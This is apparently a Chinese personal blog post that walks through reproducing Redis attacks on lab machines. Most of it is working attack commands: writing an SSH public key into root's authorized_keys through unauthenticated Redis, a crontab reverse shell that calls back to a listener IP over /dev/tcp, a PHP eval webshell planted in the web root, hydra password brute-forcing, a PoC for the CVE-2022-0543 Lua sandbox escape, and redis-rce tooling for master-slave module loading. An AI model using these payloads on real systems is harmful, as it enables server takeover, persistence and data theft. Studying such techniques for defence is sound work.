apsry

去留无意,宠辱不惊

0%

redis漏洞复现

redis漏洞复现

单纯漏洞复现,原理后面再了解了0.0

参考:

https://blog.csdn.net/guxiaoguo/article/details/78913245

https://zhuanlan.zhihu.com/p/46467265

https://blog.csdn.net/beichenyyds/article/details/123256319

https://blog.csdn.net/YouthBelief/article/details/121020672

https://www.cnblogs.com/xiaozi/p/13089906.html

image-20200904163216140

redis未授权

 Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。  部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。  目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马

写公钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ssh-keygen -t rsa

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

cat /root/.ssh/key.txt | ./redis-cli -h 192.168.10.153 -x set xxx

./redis-cli -h 192.168.10.153

config set dir /root/.ssh

config set dbfilename authorized_keys

save

这时候用ssh不用密码远程连接:
ssh 192.168.10.153

在crontab里写定时任务,反弹shell

  原理是和写公钥一样的,只是变换一下写入的内容和路径,数据库名。

  • 首先在客户端这边监听一个端口(随便一个端口就好,不要冲突就好)
1
nc -l 4444
  • 连接redis,写入反弹shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
./redis-cli -h 192.168.152.128



set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.152.129/4444 0>&1\n\n"



config set dir /var/spool/cron



config set dbfilename root



save

在web目录下写入webshell

  通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的。

  • 远程连接redis,写入webshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
./redis-cli -h 192.168.152.128



config set dir /var/www/html



set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"



config set dbfilename webshell.php



save

利用redis执行命令

  redis 2.6以前的版本内置了lua脚本环境,在有连接redis服务器的权限下,可以利用lua执行系统命令。

  • 本地建立一个lua脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
vim  hello.lua







local msg = "hello,hack!"



return msg
  • 在客户端连接redis服务器并执行hello.lua
1
./redis-cli eval "$(cat hello.lua)" 0 -h 192.168.152.128

利用hydra暴力破解redis的密码

  使用hydra工具可以对redis进行暴力破解

1
hydra -P passwd.txt redis://192.168.152.128

Redis Lua沙盒绕过 命令执行(CVE-2022-0543)

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。 Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。 我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令

poc

1
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

image-20220323222556992

1
2
3
4
5
6
影响版本
An unexpected Redis sandbox escape affecting only Debian, Ubuntu, and other derivatives
Redis >=2.2 and < 5.0.13
Redis >=2.2 and < 6.0.15
Redis >=2.2 and < 6.2.5
安全版本Redis 6.2.56.0.155.0.13或更高版本

Redis未授权漏洞(CNVD-2019-21763)

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。 由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

redis主从复制(一种攻击方式)

redis主从RCE打多了会出现redis瘫痪的情况,所以不到万不得已,尽量不要打主从,把攻击机作为主机

https://paper.seebug.org/975/

image-20220323225235079

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。

然后在从机上加载so文件,我们就可以执行拓展的新命令了。

1
2
3
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
1
2
3
4
把module.so复制过去

git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/

image-20220323223319823

help

image-20220323223714159

image-20220323223856191